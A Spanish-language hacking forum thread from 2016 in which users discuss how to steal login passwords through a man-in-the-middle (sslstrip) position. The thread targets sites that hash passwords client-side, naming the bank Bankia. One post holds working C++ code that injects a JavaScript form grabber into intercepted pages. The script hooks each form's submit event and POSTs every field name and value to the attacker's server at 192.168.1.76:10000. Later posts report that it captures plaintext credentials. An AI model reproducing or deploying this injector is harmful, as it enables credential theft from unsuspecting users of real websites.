elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Únete al Grupo Steam elhacker.NET


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Seguridad (Moderador: r32)
| | |-+  Bypass login con hash
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Bypass login con hash  (Leído 3,398 veces)
Kaxperday


Desconectado Desconectado

Mensajes: 702


The man in the Middle


Ver Perfil WWW
Bypass login con hash
« en: 21 Julio 2016, 13:02 pm »

Hola a todos, estaba jugando con mi sslstrip cuando empiezo a fustrarme al ver los típicos login con hash como tiene el foro y bankia por poner 2 ejemplos (Y este último también tiene como un POST de 33000 caracteres que espero que no tengan que ver con el hash la inmensa mayoría porque sino.. estoy jodido XD.

Pensando como extraer los login de la forma más clara posible.. sin hashes (que supongo serán generados por javascript ¿no?), se me ha ocurrido que se puede inyectar un javascript que haga de listener en todas estas páginas y que de alguna forma capture el contenido de los formularios al pulsar el submit.

Eso ahorraría también capturar POST que no interesan como los que hacen los antivirus o microsoft, ya que no creo que usen javascript :D al ser conexiones de segundo plano de programas de segundo plano.

En resumen, ¿se puede fácilmente sacar la contraseña de un login con hash?, ¿o hay que estudiarse los javascripts uno a uno?, de ser la segunda opción, creo que lo mejor sería optar por inyetar un javascript que haga de listener, que se active al hacer el login y que envie el contenido de los datos del formulario en texto plano (solo de las textbox sería aun más fino), esos datos deben de ir a nuestro server con algun identificador para que sepamos que esa peticion no debemos redirigirla al llevar solo los datos del login y la otra (con los 333000 caracteres si)..

Mmm creo que algo se podría hacer, su mejor bypass quizás este en la inyeccion de código. Aunque tendría un inconveniente, que el usuario tenga desactivado javascript y se loguee en una página que no lo requiera, ¿ahí como los capturaríamos?, sin embargo serían pocos los casos, la mayoría de las páginas usan javascript y las que tienen algo que ocultar XD.

Saludos!.


« Última modificación: 21 Julio 2016, 13:05 pm por Kaxperday » En línea

Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.
engel lex
Moderador Global
***
Desconectado Desconectado

Mensajes: 15.514



Ver Perfil
Re: Bypass login con hash
« Respuesta #1 en: 21 Julio 2016, 16:48 pm »

te toca inyectar si quieres ver el pass, del hash es medio inutil pelear con el


En línea

El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.
Kaxperday


Desconectado Desconectado

Mensajes: 702


The man in the Middle


Ver Perfil WWW
Re: Bypass login con hash
« Respuesta #2 en: 22 Julio 2016, 12:11 pm »

Vale gracias Engelx por confirmar es lo que pensaba,

He probado a inyectar código javascript para capturar los form con ete código en C++:

Código
  1. void ServerConnection::InjectFormGrabber(std::string& res)
  2. {
  3. if (res.find("<form ") != std::string::npos)
  4. {
  5. if (res.find("<html") != std::string::npos &&
  6. res.find("</html>") != std::string::npos &&
  7. res.find("<head") != std::string::npos &&
  8. res.find("<body") != std::string::npos)
  9. {
  10. std::string payload1 =
  11. "<script type=\"text/javascript\">"
  12. "function logger()"
  13. "{"
  14. "var forms = parent.document.getElementsByTagName(\"form\");"
  15. "for (i = 0; i < forms.length; i++)"
  16. "{"
  17. " forms[i].addEventListener('submit', function()"
  18. " {"
  19. " var data = \"\";"
  20. " var forms = parent.document.getElementsByTagName(\"form\");"
  21.  
  22. " for (x = 0; x < forms.length; x++)"
  23. " {"
  24. " var elements = forms[x].elements;"
  25. " for (e = 0; e < elements.length; e++)"
  26. " {"
  27. " data += elements[e].name + \"=\" + elements[e].value + \"|\";"
  28. " }"
  29. " httpGet(data);"
  30. " }"
  31. " attachForm(data);"
  32. " }, false);"
  33. "}"
  34. "}"
  35. "function sender(s)"
  36. "{"
  37. " var xmlHttp = new XMLHttpRequest();"
  38. " xmlHttp.open(\"POST\", \"http://192.168.1.76:10000/\", true);"
  39. " xhttp.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\");"
  40. " xmlHttp.send(s);"
  41. "}"
  42. "</script>";
  43.  
  44. std::string payload2 =
  45. "<script type=\"text/javascript\">"
  46. "logger();"
  47. "</script>";
  48.  
  49. INT pos1 = res.find("</head>");
  50. INT pos2 = res.find("</body>");
  51.  
  52. if (pos1 != std::string::npos && pos2 != std::string::npos)
  53. {
  54. res = res.insert(pos1, payload1);
  55. pos2 = res.find("</body>");
  56. res = res.insert(pos2, payload2);
  57. }
  58. }
  59. }
  60. }
  61.  

Se puede mejorar pero de momento estoy con pruebas, el código funciona e inyecta a las páginas el javascript en las posiciones que quiero (definiciones de funciones justo antes del </head> y llamada a la función justo antes del </body>.

Sin embargo, a pesar de que se introduce bien el código no se mandan los datos al servidor, la IP a la que hace el XML request es la de la máquina atacante, y el puerto 10000 el del servidor de la máquina atacante que espera a recibir los datos.

Pero los datos no se envían, he abierto wireshark poniendo puerto de destino 10000 y no mandaba datos, ¿está mal el código javascript, debo introducirlo en otra parte del html?.

¿Por que no funciona? XD

Gracias, y un saludo.
« Última modificación: 22 Julio 2016, 12:13 pm por Kaxperday » En línea

Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.
engel lex
Moderador Global
***
Desconectado Desconectado

Mensajes: 15.514



Ver Perfil
Re: Bypass login con hash
« Respuesta #3 en: 22 Julio 2016, 14:57 pm »

Para hacerlo simple, has nada mas una funcion, que por cada input text, lo guarde en un input hide con un nombre relacionable  ::) asi escuchas toda la conexión y vez que es cada cosa que obtuvo hash
En línea

El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.
Kaxperday


Desconectado Desconectado

Mensajes: 702


The man in the Middle


Ver Perfil WWW
Re: Bypass login con hash
« Respuesta #4 en: 22 Julio 2016, 21:34 pm »

Para hacerlo simple, has nada mas una funcion, que por cada input text, lo guarde en un input hide con un nombre relacionable  ::) asi escuchas toda la conexión y vez que es cada cosa que obtuvo hash

Hola Engelx gracias por la respuesta,

Explicame mejor lo que dices; una función que guarde lo de cada imput text de un form en un imput text hide luego tendré que inyectar la función y los imput text hide si no me equivoco. Y que actúe en el momento que da submit que envíe esos imput text hide que no han sido modificados.. pero para ese momento que pulsa submit ya se habrán convertido en hash, ¿cuando se que estan completos los datos?, solo cuando pulsa submit, y cuando lo que tiene el imput text de la pass se transforma en hash.

Con el código que he puesto si consigo capturar el form y llega al server perfectamente (ojo que tiene un error cambié el nombre de htttpGet a sender y se me olvido cambiarlo en logger por eso al principio no me funcionaba pero ahora ya si va perfecto y recibo el form, pero para mi sorpresa sale con el hash la contraseña así que voy a necesitar un poco de ayuda para el bypass ;)

¿Como dices entonces engelx, que inyecte unos imput text hide y los rellene con una funcion y luego los mande no?, ¿pero cuando debo rellenar su contenido si cuando estan completos es cuando pulsa submit y en ese momento se genera el hash y al copiarlo ya solo  copio el hash.

Inyecto imput hide dentro del form por cada imput text que haya, ¿pero cuando los relleno?.

Ahh no va pensaba que logueaba los datos con sender pero no lo estaba haciendo con mi funcion que saca los datos del POST, así que creo que el sender puede fallar, le he puesto agente de usuario "logger" para que el server reciba sus datos y los guarde y despida conexion pero parece que no va, no se, de todas formas me preocupa más lo de los hashes.

Bueno parece que esto va a ver que estudiarlo como funciona la generacion del hash.

Saludos!!

Vuelve edicion delicatesse: Nada nada, funciona el código perfectamente y hace bypass al hash, va perfecísimo, código de cortesía de kaxperday, ya sabeís que inyectar ahora, solo me falta arreglar el get para que se envie correctamente al server pero eso ya no es problema. El problema era que no recibia el get de enviar datos sino el del sniffer que si que lo recibe con hash, pero con el codigo del javascript entra limpio el form del login con los datos, con un alert pude debuggearlo.

Perfecto ahora tengo solo los datos que me interesan, gracias por la atención engelx.

Un saludo.

Curioso, estoy viendo que con bankia no funciona tiene un login con 2 form uno vacio y otro con todo hidden, bueno habrá que estudiarselo, aunque veo que con este metodo tambien me carga un imput hidden de 33000 caracteres, pero esta vez la solucion la veo sencilla un simple if para que si el tamaño del campo excede 50 o 100 de tamaño no la envie en el POST al server ;) así que perfecto me quito campos inutiles y además me quito los hashes datos en texto planito planito.

Lo unico que veo que el xmlhttprequest veo que no funciona con otros puertos ??? tengo wireshark en la maquina que ejecuta el script y no salen datos por el puerto 10000 luego no corre el script, ¿porque?

Edito: OMG hay veces que me sale con el hash las password :''''''''|
« Última modificación: 23 Julio 2016, 01:31 am por Kaxperday » En línea

Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
bypass
Juegos y Consolas
gordy(D!@bL0) 2 2,663 Último mensaje 28 Abril 2006, 20:19 pm
por gordy(D!@bL0)
[?]Bypass de htmlentities()[/?] « 1 2 »
Nivel Web
braulio-- 10 9,235 Último mensaje 16 Abril 2009, 14:17 pm
por sirdarckcat
Bypass
Hacking
Izaya 6 4,706 Último mensaje 23 Marzo 2016, 21:28 pm
por MCKSys Argentina
Bypass Login
Ingeniería Inversa
d0x1s 1 2,451 Último mensaje 9 Julio 2019, 17:55 pm
por xor.eax
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines